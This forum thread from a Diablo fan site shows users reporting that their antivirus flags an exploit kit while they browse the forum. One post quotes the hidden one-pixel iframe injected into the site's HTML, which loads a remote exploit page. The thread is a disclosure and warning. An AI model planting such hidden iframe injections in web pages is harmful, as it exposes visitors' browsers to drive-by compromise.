Latest Diablo 3 News
DiabloWiki Updates
Support the site! Become a Diablo: IncGamers PAL - Remove ads and more!

AVG is identifying a threat from viewing this forum

Discussion in 'Feedback, Suggestions & Support' started by Karth, May 5, 2012. | Replies: 45 | Views: 5700

  1. Karth

    Karth IncGamers Member

    Joined:
    Nov 16, 2009
    Messages:
    1,565
    Likes Received:
    0
    Trophy Points:
    165
    Remember that forums.weddingbells.ca junk that was appended to every post recently? Now I'm getting notices that AVG is blocking "Exploit Gondad Exploit Kit (type 1935)" with file name "forums.weddingbells.ca/tmp/index.html" every time I view anything on the forums here.

    It was suspicious when I saw the forums.weddingbells.ca stuff appended to every post, and now this is even worse... what's going on?
     
  2. nZifnab

    nZifnab IncGamers Member

    Joined:
    Aug 22, 2011
    Messages:
    46
    Likes Received:
    0
    Trophy Points:
    20
    I'm also getting this. I was on this page: http://diablo.incgamers.com/forums/showthread.php?828073-5-Gem-questions/page4 and AVG popped up and with a "Threat Blocked!" warning.

    File: forums.weddingbells.ca/tmp/index.html
    Infection: Exploit Gondad Exploit Kit (type 1935)
    Result: Object was blocked

    It could be one of the ads on the site? Figured you guys should know...it's a bit alarming.
     
  3. nZifnab

    nZifnab IncGamers Member

    Joined:
    Aug 22, 2011
    Messages:
    46
    Likes Received:
    0
    Trophy Points:
    20
    Oh I see what you mean about forums.weddinbells appended to every post. There's a hidden iframe at the end of every thread title that links to that site. This should probably be fixed immediately...
     
  4. lyose

    lyose Banned

    Joined:
    May 5, 2012
    Messages:
    12
    Likes Received:
    0
    Trophy Points:
    0
    This server is compromised and attempts to exploit visitors' browsers

    Clearly, an intruder installer malicious software on the server running this forum.

    You can easily see it by the "<iframe src=http://forums.weddingbells.ca/tmp/index.html width=1 height=1></iframe>" being included in the HTML source multiple times, with antivirus software detecting this as "Gondad Exploit Kit".

    That malware apparently attempts to exploit multiple vulnerabilities in Flash, Java and others to take over the visitors' browsers.

    Please fix this ASAP and take security seriously.
     
  5. nZifnab

    nZifnab IncGamers Member

    Joined:
    Aug 22, 2011
    Messages:
    46
    Likes Received:
    0
    Trophy Points:
    20
  6. Tryzx

    Tryzx IncGamers Member

    Joined:
    Apr 4, 2011
    Messages:
    320
    Likes Received:
    0
    Trophy Points:
    122
    I see a white square at the end of every title. Is that what you are talking about?


     
  7. Sephyron

    Sephyron IncGamers Member

    Joined:
    Jul 3, 2003
    Messages:
    135
    Likes Received:
    0
    Trophy Points:
    26
    Re: This server is compromised and attempts to exploit visitors' browsers

    Getting the same warning when entering the forums.
     
  8. Mn_Swe2

    Mn_Swe2 IncGamers Member

    Joined:
    Jun 27, 2003
    Messages:
    1,205
    Likes Received:
    0
    Trophy Points:
    255
    [​IMG]

    This is constantly alerted browsing these forums!
     
  9. Sokar Rostau

    Sokar Rostau IncGamers Member

    Joined:
    May 19, 2004
    Messages:
    3,142
    Likes Received:
    2
    Trophy Points:
    467
    According to AVG, tribalfusion.com is one of the top sources for this threat.

    Look at what your browser is loading next time you move around on this forum if you don't know what I'm talking about.
     
    Last edited: May 5, 2012
  10. TheShaft

    TheShaft IncGamers Member

    Joined:
    Aug 2, 2011
    Messages:
    72
    Likes Received:
    0
    Trophy Points:
    26
    Re: This server is compromised and attempts to exploit visitors' browsers

    NoScript FTW!
     
  11. Kimiyy

    Kimiyy IncGamers Member

    Joined:
    Mar 23, 2012
    Messages:
    14
    Likes Received:
    0
    Trophy Points:
    1
    Im also getting this since today..
     
  12. KaiserDiablo

    KaiserDiablo IncGamers Member

    Joined:
    Apr 18, 2012
    Messages:
    75
    Likes Received:
    0
    Trophy Points:
    26
    Re: This server is compromised and attempts to exploit visitors' browsers

    This. x1000


     
  13. Kuma Hobby

    Kuma Hobby IncGamers Member

    Joined:
    Feb 26, 2012
    Messages:
    80
    Likes Received:
    0
    Trophy Points:
    34
    Re: This server is compromised and attempts to exploit visitors' browsers

    ya getting owned here.
     
  14. gruenel

    gruenel IncGamers Member

    Joined:
    Mar 3, 2012
    Messages:
    138
    Likes Received:
    0
    Trophy Points:
    26
    Re: This server is compromised and attempts to exploit visitors' browsers

    OP is right, please fix.

    BTW, Chrome FTW.

    ;)
     
  15. JWBS

    JWBS IncGamers Member

    Joined:
    Dec 15, 2011
    Messages:
    214
    Likes Received:
    0
    Trophy Points:
    58
    Re: This server is compromised and attempts to exploit visitors' browsers

    I use chrome and get virus warnings from AVG (filename weddingbells threat type exploit kit)
     
  16. Dacar92

    Dacar92 Community, Amazon, DH Moderator; Clan Officer West

    Joined:
    Nov 2, 2003
    Messages:
    10,301
    Likes Received:
    15
    Trophy Points:
    470
    Re: This server is compromised and attempts to exploit visitors' browsers

    I will have it looked into. Thanks
     
  17. RazeBarb

    RazeBarb IncGamers Member

    Joined:
    Jul 6, 2011
    Messages:
    1,212
    Likes Received:
    0
    Trophy Points:
    166
    Re: This server is compromised and attempts to exploit visitors' browsers

    AVG just blocked this link for me, too
     
  18. Dahmer

    Dahmer IncGamers Member

    Joined:
    Jul 30, 2003
    Messages:
    1,139
    Likes Received:
    0
    Trophy Points:
    121
    Re: This server is compromised and attempts to exploit visitors' browsers

    I can only agree to getting noscript, prevents sooooo many problems.
     
  19. ElementEight

    ElementEight IncGamers Member

    Joined:
    Oct 7, 2010
    Messages:
    920
    Likes Received:
    0
    Trophy Points:
    165
    Re: This server is compromised and attempts to exploit visitors' browsers

    Some icons for threads seen to be messed up. The forum layout changed as well.
     
  20. Guitardeth

    Guitardeth IncGamers Member

    Joined:
    Apr 4, 2012
    Messages:
    21
    Likes Received:
    0
    Trophy Points:
    20
    Re: This server is compromised and attempts to exploit visitors' browsers

    Same here.
     

Share This Page